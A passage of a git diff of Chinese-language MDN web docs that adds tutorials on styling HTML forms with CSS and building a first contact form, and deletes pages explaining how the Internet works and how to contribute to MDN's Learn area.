在1995年左右的Web早期,表单组件(或控件)在 HTML 2规范中被添加到HTML。由于表单组件的复杂性,实现者选择依靠底层操作系统来管理和渲染它们。

+ +

若干年后,CSS被创建出来了,那么技术上的必要性,就是使用原生组件来实现表单控制,这是因为风格的要求。在CSS的早期,表单样式控制不是优先事项。

+ +

由于用户习惯于各自平台的视觉外观,浏览器厂商不愿意对表单控件样式进行调整;到目前为止,要重建所有控件以使它们可美化仍然是非常困难的。

+ +

即使在今天,仍然没有一个浏览器完全实现了CSS 2.1。然而,随着时间的推移,浏览器厂商已经改进了对表单元素的CSS支持,尽管可用性的声誉不好,但现在已经可以使用CSS来设计HTML表单

+ +

涉及到CSS,并非所有组件都是平等的

+ +

目前,在使用表单时使用CSS仍然有一些困难。这些问题可以分为三类: 

+ +

好的

+ +

有些元素在跨平台上时很少出现问题。包括以下结构元素:

+ +
    +
  1. {{HTMLElement("form")}}
  2. +
  3. {{HTMLElement("fieldset")}}
  4. +
  5. {{HTMLElement("label")}}
  6. +
  7. {{HTMLElement("output")}}
  8. +
+ +

这还包括所有文本字段小部件(单行和多行)和按钮。

+ +

不好的

+ +

一些元素难以被美化,并且可能需要一些复杂的技巧,偶尔需要高级的CSS3知识。

+ +

这些包括{{HTMLElement("legend")}}元素,但不能在所有平台上正确定位。 Checkbox和radio按钮也不能直接应用样式,但是,感谢CSS3,你可以解决这个问题。{{htmlattrxref("placeholder", "input")}} 的内容不能以任何标准方式应用样式,但是实现它的所有浏览器也都实现了私有的CSS伪元素或伪类,让你可以对其定义样式。

+ +

我们会在如何构建自定义表单挂件一文中讲述如何处理更多特定的问题。

+ +

丑陋的

+ +

有些元素根本不能用应用CSS样式。 这些包括:所有高级用户界面小部件,如范围,颜色或日期控件; 和所有下拉小部件,包括{{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}}和{{HTMLElement("datalist")}} 元素。 文件选择器小部件也被称为不可样式化。 新的{{HTMLElement("progress")}}和{{HTMLElement("meter")}} 元素也属于这个类别。

+ +

所有这些小部件的主要问题来自于它们具有非常复杂的结构,而CSS目前还不足以表达这些小部件的所有细微部分。 如果你想定制这些小部件,你必须依靠JavaScript来构建一个你能够应用样式的DOM树。我们会在 How to build custom form widgets一文中探索如何实现这一点。

+ +

基本样式美化

+ +

为了使用CSS美化容易被美化的元素,你并不会碰到任何困难,因为它们的大部分行为同其他HTML元素差不多。但是,每个浏览器的用户代理样式表可能会有点不一致,所以有一些技巧可以帮助您更轻松地设计它们。

+ +

Search字段

+ +

搜索框是唯一一种应用CSS样式有点棘手的文本字段。 在基于WebKit的浏览器(Chrome,Safari等)上,您必须使用-webkit-appearance专有属性来调整它。 我们在文章中进一步讨论这个属性:HTML表单的高级样式

+ +

Example

+ +
<form>
+  <input type="search">
+</form>
+
+ +
input[type=search] {
+  border: 1px dotted #999;
+  border-radius: 0;
+
+  -webkit-appearance: none;
+}
+ +

This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance

+ +

截图中是 Chrome 浏览器中的两个搜索框,在我们的例子中,两个搜索框均被设置为有边框。第一个没有使用-webkit-appearance渲染,而第二个使用了 -webkit-appearance:none. 两者的不同显而易见。

+ +

字体和文本

+ +

CSS font和text功能能被很容易的应用到任何组件上(当然你可以在form组件上使用{{cssxref("@font-face")}} )。然而,浏览器的行为经常不一致。默认情况下,一些组件不会从它们的父元素继承 {{cssxref("font-family")}}和 {{cssxref("font-size")}} 。相反,许多浏览器使用系统默认的字体和文本。为了让form表单的外观和其他内容保持一致,你可以在你的样式表中增加以下内容:

+ +
button, input, select, textarea {
+  font-family : inherit;
+  font-size   : 100%;
+}
+ +

下面的截图显示了不同之处; 左边是Mac OS X上Firefox中元素的默认渲染,其中使用了平台的默认字体样式。 在右边是相同的元素,应用了我们的字体统一样式规则。

+ +

This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization

+ +

关于使用系统默认样式的表单还是使用设计用于匹配内容的自定义样式表单,有很多争议。 作为网站或Web应用程序的设计者,您可以自己做出决定。

+ +

盒子模型

+ +

所有文本字段都完全支持与CSS盒模型相关的每个属性({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, 和 {{cssxref("border")}})。 但是,像以前一样,浏览器在显示这些小部件时依赖于系统默认的样式。 您需要定义如何将其融入到您的内容中。 如果你既想保持小部件的原生外观和感觉,又想给他们一个一致的尺寸,那么你会遇到一些困难(如果你想保持组件的原生观感,又想给它们一致的大小,你会面临一些困难)。

+ +

这是因为每个小部件都有自己的边框,填充和边距的规则。 所以如果你想给几个不同的小部件相同的大小,你必须使用{{cssxref("box-sizing")}} 属性:

+ +
input, textarea, select, button {
+  width : 150px;
+  margin: 0;
+
+  -webkit-box-sizing: border-box; /* For legacy WebKit based browsers */
+     -moz-box-sizing: border-box; /* For legacy (Firefox <29) Gecko based browsers */
+          box-sizing: border-box;
+}
+ +

This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing.

+ +

在上面的屏幕截图中,左侧的列没有{{cssxref("box-sizing")}},而右侧的列使用了这个属性和border-box。 请注意我们是怎样确保所有元素都占用相同的空间量,尽管平台对每种窗口小部件都有默认规则。

+ +

定位(Positioning)

+ +

HTML表单部件的定位通常不是问题; 但是,您应该特别注意两点:

+ +

legend

+ +

{{HTMLElement("legend")}}元素易于应用CSS,除了定位。在所有浏览器中, {{HTMLElement("legend")}} 元素定位是其 {{HTMLElement("fieldset")}} 父元素的上边框的最顶端。在HTML流中无法改变它的绝对位置,无法让其远离顶部边框。然而,你可以使用 {{cssxref("position")}} 属性将其位置设置为绝对或相对。除此之外,它近几年是fieldset边框的一部分。

+ +

由于{{HTMLElement("legend")}}元素对可访问性非常重要,因为它能被无障碍技术作为每个fieldset中的表单元素的标签读出来,它通常与标题配对,并且在无障碍中被隐藏 。例如:

+ +
HTML
+ +
<fieldset>
+  <legend>Hi!</legend>
+  <h1>Hello</h1>
+</fieldset>
+ +
CSS
+ +
legend {
+  width: 1px;
+  height: 1px;
+  overflow: hidden;
+}
+ +

textarea

+ +

默认情况下,所有浏览器都认为{{HTMLElement("textarea")}} 元素是inline block,与文本底线对齐。 这很少是我们真正想看到的。 要将内联(inline-block)块更改为块(block),使用{{cssxref("display")}}属性非常简单。 但是如果你想以inline方式使用它,通常改变垂直对齐方式:

+ +
textarea {
+  vertical-align: top;
+}
+ +

示例

+ +

让我们来看一个样式化 HTML 表单的实际的案例。这有助于理清这里面的许多概念。我们将构建下面的"明信片" 联系人表单:

+ +

This is what we want to achieve with HTML and CSS

+ +

如果你想继续关注这个例子,复制我们的 postcard-start.html 文件,并遵循接下来的指导操作。

+ +

The HTML

+ +

HTML 只比我们在 the first article of this guide 中涉及到的多一些;它只有一些额外的 id 和 title。

+ +
<form>
+  <h1>to: Mozilla</h1>
+
+  <div id="from">
+    <label for="name">from:</label>
+    <input type="text" id="name" name="user_name">
+  </div>
+
+  <div id="reply">
+    <label for="mail">reply:</label>
+    <input type="email" id="mail" name="user_email">
+  </div>
+
+  <div id="message">
+    <label for="msg">Your message:</label>
+    <textarea id="msg" name="user_message"></textarea>
+  </div>
+
+  <div class="button">
+    <button type="submit">Send your message</button>
+  </div>
+</form>
+ +

将上面的代码添加到你 HTML 的 body 中。

+ +

组织你的静态文件

+ +

好戏要开始了! 在开始写代码之前,我们需要三个额外的静态文件:

+ +
    +
  1. 明信片的背景——下载这幅图片,把它和你的 HTML 文件保存在相同目录下。
  2. +
  3. 打字机字体:源自 fontsquirrel.com 的 "Secret Typewriter“ 字体——将TTF文件下载到和上面相同的文件夹里。
  4. +
  5. 手绘字体:源自 fontsquirrel.com 的 The "Journal" 字体  —— 将TTF文件下载到和上面相同的文件夹里。
  6. +
+ +

在你开始之前需要对字体做一些处理:

+ +
    +
  1. 打开 fontsquirrel 网络字体生成器.
  2. +
  3. 使用表单,上传你的字体文件并生成一个网络字体包,将这个包下载到你的电脑上。
  4. +
  5. 解压提供的 zip 文件。
  6. +
  7. 再解压后的文件内容里你会找到两个  .woff 文件和两个.woff2 文件。将这四个文件拷贝到一个叫 fonts 的文件夹里,而fonts 文件夹位于和上面相同的文件夹里。我们为每种字体使用两个不同的文件以最大限度地保证浏览器兼容性。查看我们的 Web 字体 一文获取更多信息。
  8. +
+ +

CSS

+ +

现在我们可以深入探究本例的 CSS 了。将下面所有的代码块一个接一个地加到{{htmlelement("style")}} 元素里。

+ +

首先,我们要准备一些基础。这需要定义 {{cssxref("@font-face")}} 规则,以及所有的 {{HTMLElement("body")}} 元素和 {{HTMLElement("form")}} 元素基本规则:

+ +
@font-face {
+    font-family: 'handwriting';
+    src: url('fonts/journal-webfont.woff2') format('woff2'),
+         url('fonts/journal-webfont.woff') format('woff');
+    font-weight: normal;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'typewriter';
+    src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'),
+         url('fonts/veteran_typewriter-webfont.woff') format('woff');
+    font-weight: normal;
+    font-style: normal;
+}
+
+body {
+  font  : 21px sans-serif;
+
+  padding : 2em;
+  margin  : 0;
+
+  background : #222;
+}
+
+form {
+  position: relative;
+
+  width  : 740px;
+  height : 498px;
+  margin : 0 auto;
+
+  background: #FFF url(background.jpg);
+}
+ +

现在我们可以定位我们的元素,包括标题和其他表单元素:

+ +
h1 {
+  position : absolute;
+  left : 415px;
+  top  : 185px;
+
+  font : 1em "typewriter", sans-serif;
+}
+
+#from {
+  position: absolute;
+  left : 398px;
+  top  : 235px;
+}
+
+#reply {
+  position: absolute;
+  left : 390px;
+  top  : 285px;
+}
+
+#message {
+  position: absolute;
+  left : 20px;
+  top  : 70px;
+}
+ +

现在我们开始处理表单元素本身。首先,让我们确保 {{HTMLElement("label")}} 被赋予了正确的字体:

+ +
label {
+  font : .8em "typewriter", sans-serif;
+}
+ +

文本域需要一些通用的规则,我们只需简单的移除 {{cssxref("border","borders")}} 和 {{cssxref("background","backgrounds")}}, 并重新定义其{{cssxref("padding")}} 和 {{cssxref("margin")}}:

+ +
input, textarea {
+  font    : .9em/1.5em "handwriting", sans-serif;
+
+  border  : none;
+  padding : 0 10px;
+  margin  : 0;
+  width   : 240px;
+
+  background: none;
+}
+ +

当其中的一个域获得焦点后,我们用浅灰色、半透明的背景高亮它们,注意添加{{cssxref("outline")}} 属性非常重要,这样可以移除由某些浏览器添加的默认高亮效果:

+ +
input:focus, textarea:focus {
+  background   : rgba(0,0,0,.1);
+  border-radius: 5px;
+  outline      : none;
+}
+ +

现在我们的文本域已经完成了,我们需要调整单行和多行文本域的显示,使其能够匹配,因为通常情况下它们不会以默认的设置而具有一样的外观。

+ +

单行文本需要一些调整才能在 Internet Explorer 中渲染良好。Internet Explorer 没有基于字体的自然高度来定义文本域的高度(而这是所有其他浏览器都有的行为)。为了修正这个问题,我们需要给域添加一个确定的高度,像下面这样:

+ +
input {
+    height: 2.5em; /* for IE */
+    vertical-align: middle; /* This is optional but it makes legacy IEs look better */
+}
+ +

{{HTMLElement("textarea")}} 元素默认地被渲染成一个块级元素。这里有重要地两点是 {{cssxref("resize")}} 和 {{cssxref("overflow")}} 属性。因为我们的设计是一个固定大小的设计,所以我们会使用 resize 属性来防止用户调整我们的多行文本域的大小。{{cssxref("overflow")}} 属性是用来让域在不同的浏览器上渲染得更一致。一些浏览器默认值为 auto,而一些将默认值设为 scroll。在我们得例子中,最好确定每个浏览器都使用 auto

+ +
textarea {
+  display : block;
+
+  padding : 10px;
+  margin  : 10px 0 0 -10px;
+  width   : 340px;
+  height  : 360px;
+
+  resize  : none;
+  overflow: auto;
+}
+ +

{{HTMLElement("button")}} 元素上使用 CSS 非常方便;你可以做你任何想做得事情,甚至包括使用 伪元素

+ +
button {
+  position     : absolute;
+  left         : 440px;
+  top          : 360px;
+
+  padding      : 5px;
+
+  font         : bold .6em sans-serif;
+  border       : 2px solid #333;
+  border-radius: 5px;
+  background   : none;
+
+  cursor       : pointer;
+
+-webkit-transform: rotate(-1.5deg);
+   -moz-transform: rotate(-1.5deg);
+    -ms-transform: rotate(-1.5deg);
+     -o-transform: rotate(-1.5deg);
+        transform: rotate(-1.5deg);
+}
+
+button:after {
+  content: " >>>";
+}
+
+button:hover,
+button:focus {
+  outline   : none;
+  background: #000;
+  color   : #FFF;
+}
+ +

瞧!

+ +
+

注意:如果你的例子没有像你预期的那样工作,你想将它同我们的版本检查对比,你可以在Github 上找到它 —— 查看 在线演示 (也可以查看源代码)。

+
+ +

总结

+ +

如你所见,若我们想构建只包含文本域和按钮的表单,用 CSS 美化它们非常容易。如果你想要知道更多能够让你的处理表单组件时更轻松的 CSS 小技巧,看一看 normalize.css 项目的表单部分。

+ +

下一篇文章中,我们将会看到如何处理落入"不好的" 和"丑陋的" 分类的表单组件。

+ +

{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

+ +

在本单元中

+ + diff --git a/files/zh-cn/learn/forms/your_first_form/index.html b/files/zh-cn/learn/forms/your_first_form/index.html new file mode 100644 index 0000000000..5b0adc1480 --- /dev/null +++ b/files/zh-cn/learn/forms/your_first_form/index.html @@ -0,0 +1,266 @@ +--- +title: 创建我的第一个表单 +slug: Learn/HTML/Forms/Your_first_HTML_form +translation_of: Learn/Forms/Your_first_form +--- +

{{LearnSidebar}}{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

+ +

本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。

+ + + + + + + + + + + + +
预备知识: +

基本计算机素养和对HTML的基本理解

+
目标:为了熟悉HTML表单是什么,它们被用来做什么,如何设计它们,以及简单情况下需要的基本HTML元素。
+ +

HTML表单是什么?

+ +

HTML表单是用户和web站点或应用程序之间交互的主要内容之一。它们允许用户将数据发送到web站点。大多数情况下,数据被发送到web服务器,但是web页面也可以自己拦截它并使用它。

+ +

HTML表单是由一个或多个小部件组成的。这些小部件可以是文本字段(单行或多行)、选择框、按钮、复选框或单选按钮。大多数情况下,这些小部件与描述其目的的标签配对——正确实现的标签能够清楚地指示视力正常的用户和盲人用户输入表单所需的内容。

+ +

HTML表单和常规HTML文档的主要区别在于,大多数情况下,表单收集的数据被发送到web服务器。在这种情况下,您需要设置一个web服务器来接收和处理数据。如何设置这样的服务器超出了本文的范围,但是如果您想了解更多,请参阅模块后面的发送表单数据

+ +

设计表单

+ +

在开始编写代码之前,最好先退一步,花点时间考虑一下您的表单。设计一个快速的模型将帮助您定义您想要询问用户的正确的数据集。从用户体验(UX)的角度来看,要记住:表单越大,失去用户的风险就越大。保持简单,保持专注:只要求必要的数据。在构建站点或应用程序时,设计表单是非常重要的一步。这超出了本文的范围,涵盖了表单的用户体验,但是如果您想深入了解这个主题,您应该阅读下面的文章:

+ + + +

在本文中,我们将构建一个简单的联系人表单。让我们做一个粗略的草图。

+ +

The form to build, roughly sketch

+ +

我们的表单将包含三个文本字段和一个按钮。我们向用户询问他们的姓名、电子邮件和他们想要发送的信息。点击这个按钮将把他们的数据发送到一个web服务器。

+ +

主动学习:使用HTML实现我们的表单

+ +

好了,现在我们准备进入HTML代码并对表单进行编码。为了构建我们的联系人表单,我们将使用以下HTML元素:{{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, and {{HTMLElement("button")}}.

+ +

在进一步讨论之前,先创建一个简单HTML模板的本地副本—您将在这里输入您的表单HTML。

+ +

{{HTMLElement("form")}} 元素

+ +

所有HTML表单都以一个{{HTMLElement("form")}}元素开始:

+ +
<form action="/my-handling-form-page" method="post">
+
+</form>
+ +

这个元素正式定义了一个表单。就像{{HTMLElement("div")}}元素或{{HTMLElement("p")}}元素,它是一个容器元素,但它也支持一些特定的属性来配置表单的行为方式。它的所有属性都是可选的,但实践中最好至少要设置action属性和method属性。

+ + + +
+

注意:如果您想深入了解这些属性是如何工作的,那么将在发送表单数据文章中详细说明。

+
+ +

现在,将上面的{{htmlelement("form")}} 元素添加到您的HTML主体中

+ +

{{HTMLelement("label")}}, {{HTMLelement("input")}} 和 {{HTMLelement("textarea")}} 元素

+ +

我们的联系人表单非常简单,包含三个文本字段,每个字段都有一个标签。该名称的输入字段将是一个基本的单行文本字段,电子邮件的输入字段将是一个只接受电子邮件地址的单行文本字段,而消息的输入字段将是一个基本的多行文本字段。

+ +

就HTML代码而言,我们需要如下的东西来实现这些表单小部件:

+ +
<form action="/my-handling-form-page" method="post">
+  <div>
+    <label for="name">Name:</label>
+    <input type="text" id="name">
+  </div>
+  <div>
+    <label for="mail">E-mail:</label>
+    <input type="email" id="mail">
+  </div>
+  <div>
+    <label for="msg">Message:</label>
+    <textarea id="msg"></textarea>
+  </div>
+</form>
+ +

更新您的表单代码,使其看起来像上面的代码。

+ +

使用{{HTMLElement("div")}} 元素可以使我们更加方便地构造我们自己的代码,并且更容易样式化(参见本文后面的文章)。注意在所有{{HTMLElement("label")}}元素上使用for属性;它是将标签链接到表单小部件的一种正规方式。这个属性引用对应的小部件的id。这样做有一些好处。最明显的一个好处是允许用户单击标签以激活相应的小部件。如果您想更好地理解这个属性的其他好处,您可以找到如何构造HTML表单的详细信息

+ +

在 {{HTMLElement("input")}}元素中,最重要的属性是type 属性。这个属性非常重要,因为它定义了{{HTMLElement("input")}}属性的行为方式。它可以从根本上改变元素,所以要注意它。稍后您将在原生表单控件文章中找到更多关于此的内容。

+ + + +

最后但同样重要的是,要注意<input> 和 <textarea></textarea>的语法。这是HTML的一个奇怪之处。 <input> 标签是一个空元素,这意味着它不需要关闭标签。相反, {{HTMLElement("textarea")}}不是一个空元素,因此必须使用适当的结束标记来关闭它。这对HTML表单的特定特性有影响:定义默认值的方式。要定义{{HTMLElement("input")}}的默认值,你必须使用value 属性,如下所示:

+ +
<input type="text" value="by default this element is filled with this text" />
+ +

相反,如果您想定义{{HTMLElement("textarea")}}的默认值,您只需在{{HTMLElement("textarea")}}元素的开始和结束标记之间放置默认值,就像这样:

+ +
<textarea>by default this element is filled with this text</textarea>
+ +

{{HTMLelement("button")}} 元素

+ +

我们的表格已经快准备好了,我们只需要再添加一个按钮,让用户在填写完表单后发送他们的数据。这是通过使用 {{HTMLelement("button")}} 元素完成的。在 </form>这个结束标签上方添加以下内容:

+ +
<div class="button">
+  <button type="submit">Send your message</button>
+</div>
+
+ +

您会看到{{htmlelement("button")}}元素也接受一个 type属性,它接受submitreset或者 button 三个值中的任一个。

+ + + +
+

注意:您还可以使用相应类型的 {{HTMLElement("input")}}元素来生成一个按钮,如 <input type="submit">。{{htmlelement("button")}}元素的主要优点是, {{HTMLElement("input")}}元素只允许纯文本作为其标签,而{{htmlelement("button")}}元素允许完整的HTML内容,允许更复杂、更有创意的按钮文本。

+
+ +

基本表单样式

+ +

现在您已经完成了表单的HTML代码,尝试保存它并在浏览器中查看它。
+ 现在,你会看到它看起来很丑。

+ +

+ +
+

注意: 如果你怀疑你的HTML代码不对,试着把它和我们完成的例子进行比较 —— first-form.html (你也可以观看预览版)。

+
+ +

如何排布好表单是公认的难点。这超出了本文的讨论范围,所以现在我们只需要让您添加一些CSS来让它看起来很好。

+ +

首先,在您的HTML头部中添加一个 {{htmlelement("style")}}元素。应该是这样的:

+ +
<style>
+
+</style>
+ +

在样式标签中,添加如下的CSS,如下所示:

+ +
form {
+  /* 居中表单 */
+  margin: 0 auto;
+  width: 400px;
+  /* 显示表单的轮廓 */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+ul {
+  list-style: none;
+  padding: 0;
+  margin: 0;
+}
+
+form li + li {
+  margin-top: 1em;
+}
+
+label {
+  /* 确保所有label大小相同并正确对齐 */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input, textarea {
+  /* 确保所有文本输入框字体相同
+     textarea默认是等宽字体 */
+  font: 1em sans-serif;
+
+  /* 使所有文本输入框大小相同 */
+  width: 300px;
+  box-sizing: border-box;
+
+  /* 调整文本输入框的边框样式 */
+  border: 1px solid #999;
+}
+
+input:focus, textarea:focus {
+  /* 给激活的元素一点高亮效果 */
+  border-color: #000;
+}
+
+textarea {
+  /* 使多行文本输入框和它们的label正确对齐 */
+  vertical-align: top;
+
+  /* 给文本留下足够的空间 */
+  height: 5em;
+}
+
+.button {
+  /* 把按钮放到和文本输入框一样的位置 */
+  padding-left: 90px; /* 和label的大小一样 */
+}
+
+button {
+  /* 这个外边距的大小与label和文本输入框之间的间距差不多 */
+  margin-left: .5em;
+}
+ +

现在,它看起来没那么丑了。

+ +

+ +
+

注意: 你可以在GitHub上的这里找到它 first-form-styled.html (也可以在这儿看运行结果).

+
+ +

向您的web服务器发送表单数据

+ +

最后一部分,也许是最棘手的部分,是在服务器端处理表单数据。如前所述,大多数时候HTML表单是向用户请求数据并将其发送到web服务器的一种方便的方式。

+ +

{{HTMLelement("form")}} 元素将定义如何通过action 属性和 method属性来发送数据的位置和方式。

+ +

但这还不够。我们还需要为我们的数据提供一个名称。这些名字对双方都很重要:在浏览器端,它告诉浏览器给数据各自哪个名称,在服务器端,它允许服务器按名称处理每个数据块。

+ +

要将数据命名为表单,您需要在每个表单小部件上使用 name 属性来收集特定的数据块。让我们再来看看我们的表单代码:

+ +
<form action="/my-handling-form-page" method="post">
+  <div>
+    <label for="name">Name:</label>
+    <input type="text" id="name" name="user_name">
+  </div>
+  <div>
+    <label for="mail">E-mail:</label>
+    <input type="email" id="mail" name="user_email">
+  </div>
+  <div>
+    <label for="msg">Message:</label>
+    <textarea id="msg" name="user_message"></textarea>
+  </div>
+
+  ...
+ +

在我们的例子中,表单会发送三个已命名的数据块 "user_name", "user_email", 和 "user_message"。这些数据将用使用HTTP POST 方法,把信息发送到URL为 "/my-handling-form-page"目录下。

+ +

在服务器端,位于URL"/my-handling-form-page" 上的脚本将接收的数据作为HTTP请求中包含的3个键/值项的列表。这个脚本处理这些数据的方式取决于您。每个服务器端语言(PHP、Python、Ruby、Java、c等等)都有自己的机制。深入到这个主题已经超出了本指南的范围,但是如果您想了解更多,我们已经在发送表单数据文章中提供了一些示例。 

+ +

总结

+ +

祝贺您,您已经构建了您的第一个HTML表单。它看起来就像这样:

+ +

{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/HTML/Forms/Your_first_HTML_form/Example') }}

+ +

然而,这仅仅是开始,现在是时候深入研究了。HTML表单比我们在这里看到的要强大得多,本指南的其他文章将帮助您掌握其余部分。

+ +

{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/how_the_internet_works/index.html b/files/zh-cn/learn/how_the_internet_works/index.html deleted file mode 100644 index ab8eee6e1a..0000000000 --- a/files/zh-cn/learn/how_the_internet_works/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 互联网是如何工作的 -slug: learn/How_the_Internet_works -translation_of: Learn/Common_questions/How_does_the_Internet_work ---- -
-

 这篇文章讨论什么是互联网以及它是如何工作的.

-
- - - - - - - - - - - - -
前提:无,但是鼓励先去阅读 关于设定项目目标的文章
目标:你将会学习到网络的基础技术,以及它与互联网的区别.
- -

概述

- -

互联网是网络的支柱,以这种技术为基础使网络成为可能。作为基础,互联网是把电脑互相连接起来的一个巨大网络。

- -

互联网的历史有些模糊不清。它始于1960年美国军方资助的研究项目。1980年在许多公共大学和公司的支持下,它演变为一种公共基础设施。随着时间的变化,各种各样的技术支持着互联网的发展,但是它的工作方式却没有改变多少:互联网确保所有的电脑之间的连接,无论发生什么他们依旧保持连接。

- -

自主学习

- - - -

深入探索

- -

一个简单的网络

- -

当两台电脑需要通信的时候,你必须要连接他们,无论通过有线方式(通常是网线) 还是无线方式(比如 WiFi 或 蓝牙 )。所有现代电脑都支持这些连接。

- -
-

提示: 接下来的内容,我们将只谈论有线连接, 而无线连接的原理与此相同。

-
- -

Two computers linked together

- -

通常一个网络不仅限于两台电脑。你可以尽你所想地连接电脑,但是情况立刻变得复杂了。如果你尝试连接,比如说十台电脑,每台电脑有九个插头,总共需要45条网线。

- -

Ten computers all together

- -

为了解决这个问题,网络上的每台电脑需要链接到一个叫做路由器(router)的特殊小电脑。路由器只干一件事:就像火车站的信号员,它要确保从一台电脑上发出的一条信息可以到达正确的电脑。为了把信息发送给电脑B,电脑A必须把信息发送给路由器,路由器将收到的信息转发给电脑B,并且确保信息不会发送给电脑C。

- -

一旦我们把路由器加入到这个系统,我们的网络中便只需要十条网线:每台电脑一个插口,路由器上十个插口。

- -

Ten computers with a router

- -

网络中的网

- -

到目前为止一切都很好 . 但是我们要连接成百上千,上亿台电脑呢? 当然一台路由器覆盖不了这么远, 但是,如果你阅读得比较认真,我们曾提到路由器像其他电脑一样,所以我们为什么不把两个路由器彼此连接呢?

- -

Two routers linked together

- -

我们把电脑连接路由器, 接着路由器连接路由器,我们就会有无穷的规模。

- -

Routers linked to routers

- -

这样网络越来越接近我们所说的互联网 ,但是我们遗漏了一些东西。我们建立网络是为了我们自己的目的。所以不同的人会建立不同的网络:你的朋友,你的邻居,每个人都可以拥有自己的计算机网络。在你的房子和世界其它地方之间架设电缆将这些不同的网络连接起来是不可能的,那么你该如何处理这件事呢?其实已经有电缆连接到你的房子了,比如,电线和电话。电话基础设施已经可以把你家连接到世界的任何角落,所以它就是我们需要的线。为了连接电话这种网络我们需要一种基础设备叫做调制解调器(modem),调制解调器可以把网络信息变成电话设施可以处理的信息,反之亦然。

- -

A router linked to a modem

- -

这样,我们可以通过电话基础设施相互连接。下一步是把信息从我们的网络发送到我们想要到达的地方。为了做这些,我们需要把我们的网络连接到互联网服务提供商(ISP)。ISP是一家可以管理一些特殊的路由器的公司,这些路由器连接其他ISP的路由器. 你的网络消息可以被ISP捕获并发送到相应的网络。互联网就是由这些所有的网络设施所组成。

- -

Full Internet stack

- -

寻找电脑

- -

如果你想给一台电脑发送一条信息,你必须指明它是哪台电脑。因此,任何连接到网络中的电脑都需要有一个唯一的地址来标记它,叫做 "IP 地址" (IP代表网络协议)。这个地址由四部分被点分隔的数字序列组成,比如:192.168.2.10。

- -

对于电脑这样已经很好了,但是人类却很难记忆这一串地址。为了简单处理,我们给IP地址取一个容易阅读的别名:域名。比如,google.com 被用于IP地址 172.217.7.14。这样我们通过这些域名可以很容易的通过网络连接到电脑.

- -

互联网(Internet)和网络(web)

- -

你可能注意到了, 当我们通过浏览器上网的时候,我们通常是用域名去到达一个网站。这是否意味着互联网(Internet)和网络(Web)是一样的?事实并非这么简单。正如向我们所见,互联网是一种基础的技术,它允许我们把成千上万的电脑连接在一起。在这些电脑中,有 一些电脑(我们称之为网络服务器(Web servers))可以发送一些浏览器可以理解的信息。互联网是基础设施,网络是建立在这种基础设施之上的服务。值得注意的是,一些其他服务运行在互联网之上,比如邮箱和{{Glossary("IRC")}}.

- -

下一步

- - diff --git a/files/zh-cn/learn/how_to_contribute/index.html b/files/zh-cn/learn/how_to_contribute/index.html deleted file mode 100644 index 73d806a1b6..0000000000 --- a/files/zh-cn/learn/how_to_contribute/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: 如何向MDN的学习区做贡献 -slug: learn/How_to_contribute -tags: - - MDN 元信息 - - 初学者 - - 学习 - - 引导 - - 指南 - - 文档 - - 贡献 -translation_of: Learn/How_to_contribute ---- -
{{LearnSidebar}}
- -

可能您是第一次看到这个页面,也可能您经过层层搜索而来。我们猜测您找到这里,是希望向 MDN 学习区做贡献——棒极了!

- -

这篇文档将告诉您如何提高 MDN 学习区资料的质量。您可以做的事情各种各样,取决于您有多少时间,以及您的身份:初学者Web 开发者,还是教师

- -
-

注意:这篇指南会告诉您如何撰写文章来帮助他人学习 Web

-
- -

寻找特定任务

- -

贡献者向学习区做出贡献的方法通常是阅读文章、修复排版错误并提出改进。我们同时欢迎您向我们的 GitHub 源 添加示例。若您还想了解需要做的其他事项,请与我们联系。

- -

在学习新知识的同时做出贡献是一件乐趣无穷的事。如果您感到迷茫或者有疑问,不用犹豫,通过邮件列表或 IRC 频道联系我们(本页底部有更详细的信息)。Chris Mills 是学习区的主题发布人——您也可以直接和他联系。

- -

以下章节为您的任务提供概要思路。

- -

我是初学者

- -

好极了!对于创建学习资源和提供反馈,初学者们至关重要。作为目标受众,您对这些文章具有独特的视角,这让您成为我们团队中的无价之宝。真的,如果您正在通过某篇文章学习知识却卡住了,或者您觉得这篇文章看起来有点令人费解,您既可以自行改正,也可以把问题告诉我们以便我们去改正它。

- -

下面是几种建议的贡献方式:

- -
-
为文章添加标签5 分钟
-
为文章添加标签是最简单的贡献方式。利用标签来呈现信息是我们的特色之一,因此添加标签对我们来说是非常有价值的贡献方式。您可以先从还没有标签的词汇条目学习文章开始。
-
阅读并复核词汇条目5 分钟
-
我们希望,作为初学者的您能用您的视角来审视我们所写的内容。如果您感到某个词汇条目难以理解,这说明该条目需要改进。您可以做任何觉得有必要的修改。如果您感到自己的技能不足以修改词汇条目,也可以通过邮件列表告诉我们。
-
撰写词汇条目20 分钟
-
这是学习新知识的最有效的方式了。挑选一个想要深入了解的概念,根据您所学的,撰写关于这个概念的词汇条目。“向他人解释”,这是巩固已学知识的最佳方式之一,既帮助您深入理解,同时也帮助了他人。这就是共赢!
-
阅读并复核学习文章2 小时
-
这与上述“复核词汇条目”非常类似,只是由于文章更长,因此要花更多时间。
-
- -

我是 Web 开发者

- -

